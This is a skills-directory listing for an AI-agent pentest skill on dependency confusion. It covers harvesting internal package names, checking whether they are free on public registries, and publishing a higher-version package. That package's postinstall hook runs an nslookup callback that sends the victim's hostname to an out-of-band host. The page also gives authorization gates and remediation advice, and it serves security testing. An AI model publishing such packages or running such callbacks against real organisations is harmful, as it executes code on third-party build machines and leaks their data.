Skip to content
Back to skills

Dependency Confusion

ASecurity

Dependency confusion / substitution — harvest internal package names (npm, pip, Maven, NuGet, RubyGems) and test whether they are unclaimed on the public registry, so a build resolves a higher-version attacker package and executes in CI/dev. Tier 2 (build-side code exec — gated, publish only with explicit authorization). Use when internal package names leak.

  • 16 stars
  • 0 votes
  • 0 copies
  • 6 views
  • Added November 17, 2026
securitygorubygitapibackend

Works with

  • api
  • mcp

Security analysis

A100/100

Scanned November 17, 2026

npx -y skills add AnandJogawade/Zazy-Pentest-Plugin-for-Claude --skill dependency-confusion --agent claude-code

Installs into .claude/skills of the current project.

Are you the author of Dependency Confusion?

Add the live security badge to your README. It updates with every re-scan.

Security grade badge for Dependency Confusion
[![Security: A — Skills Directory](https://www.skillsdirectory.com/api/skills/anandjogawade-dependency-confusion/badge)](https://www.skillsdirectory.com/skills/anandjogawade-dependency-confusion)

More formats (shields.io, HTML) on the badges page. Keep it an A: scan every change in CI with Pro.

Download with Pro
SKILL.md
---
name: dependency-confusion
description: Dependency confusion / substitution — harvest internal package names (npm, pip, Maven, NuGet, RubyGems) and test whether they are unclaimed on the public registry, so a build resolves a higher-version attacker package and executes in CI/dev. Tier 2 (build-side code exec — gated, publish only with explicit authorization). Use when internal package names leak.
---

# Dependency Confusion

If an internal package name is unregistered on the public registry, a build configured to search public sources may pull an attacker-published package with a higher version number — code execution in the victim's build/CI/developer machine.

## Trigger phrases
`dependency confusion, package confusion, namespace, internal package, npm scope, pypi, nuget, maven, rubygems, substitution attack`

## Execution gate (Tier 2 — publishing a package runs code on third parties)
Ask (a) "authorized to publish a benign proof package to the public registry for named internal packages (in scope)?" → if yes, publish a strictly-benign callback package. If no, (b) "detection only (confirm the name is unclaimed + buildable-but-don't-publish)?" → if yes, stop at availability check. Record answers + the exact package names in `./.zazy/scope.md`. Never include a real payload — OAST callback only; unpublish after proof.

## Method
1. **Harvest internal package names:**
   - `.js.map` source maps, `package.json`/`package-lock.json`, `requirements.txt`, `pom.xml`/`build.gradle`, `*.csproj`/`packages.config`, `Gemfile.lock`, `.npmrc`/`.pip/pip.conf` references.
   - Error traces/stack traces, HTML comments, public GitHub repos of the org, leaked build logs/artifacts (→ `cicd-secrets`), Wayback/`deep-web-recon`.
2. **Check public-registry availability** (name unclaimed = candidate):
   - npm `npm view <name>` (404 = free); pip `pip index versions <name>`/PyPI JSON; NuGet/Maven Central/RubyGems search APIs.
   - Flag **unscoped** internal names (scoped `@org/pkg` is safer); note mixed public/private installs and `--extra-index-url` (pip) which search public too.
3. **Confirm (gated):** publish a benign package (version higher than internal) whose install hook does only an **OAST DNS callback** with non-sensitive host metadata:
   - npm `postinstall` → `nslookup $(hostname).<id>.OAST`; pip `sdist setup.py`; gem `extconf`.
   A callback from the victim build/CI proves resolution. Unpublish immediately.

## Modern / rare techniques
- **`--extra-index-url` / mixed registries** (pip, npm, Artifactory virtual repos): public index consulted alongside private → still confusable even with a private registry if resolution isn't pinned.
- **Version pinning gaps**: ranges like `^1.0.0` pull a malicious `1.9.9`.
- **Build-system-specific**: Maven `groupId` takeover, NuGet source priority, Go module proxy confusion.

## Bypass / evasion
N/A — this is registry logic. Callback-only PoC avoids any payload.

## Escalation / chaining
Build/CI code exec → `cicd-pipeline` (runner/token compromise), `cicd-secrets`, `supply-chain`; names also feed `retirejs`/`vulnerable-components`.

## Backend & tooling
Preferred Kali path (native / WSL+Kali / Kali-SSH / Kali-MCP). `confused` (visma) for bulk availability checks, `snyk`/`osv-scanner` for manifests, interactsh for callbacks. See `zazy-orchestrator`.

## Verification (background, before reporting)
A callback from a victim-controlled host/CI runner confirms resolution; reproduce once, then unpublish. Availability-only is a "likely" finding, not confirmed exploitation. Report true positives only.

## Evidence
Internal package name + where leaked, registry availability proof, OAST callback (source = victim build) if gate allowed, package unpublished. Remediation: reserve/claim internal names publicly, use scoped packages, pin registries (`.npmrc` scope, single private index, no public fallback), verify integrity/lockfiles, namespace allow-listing.

Attribution

Is this your skill, or is something wrong with this listing? Request removal or report an issue. Author removals are honored within 72 hours.

View all in security →

Comments

Loading comments…

Newsletter

Get the weekly list of safe new skills, and the ones we pulled.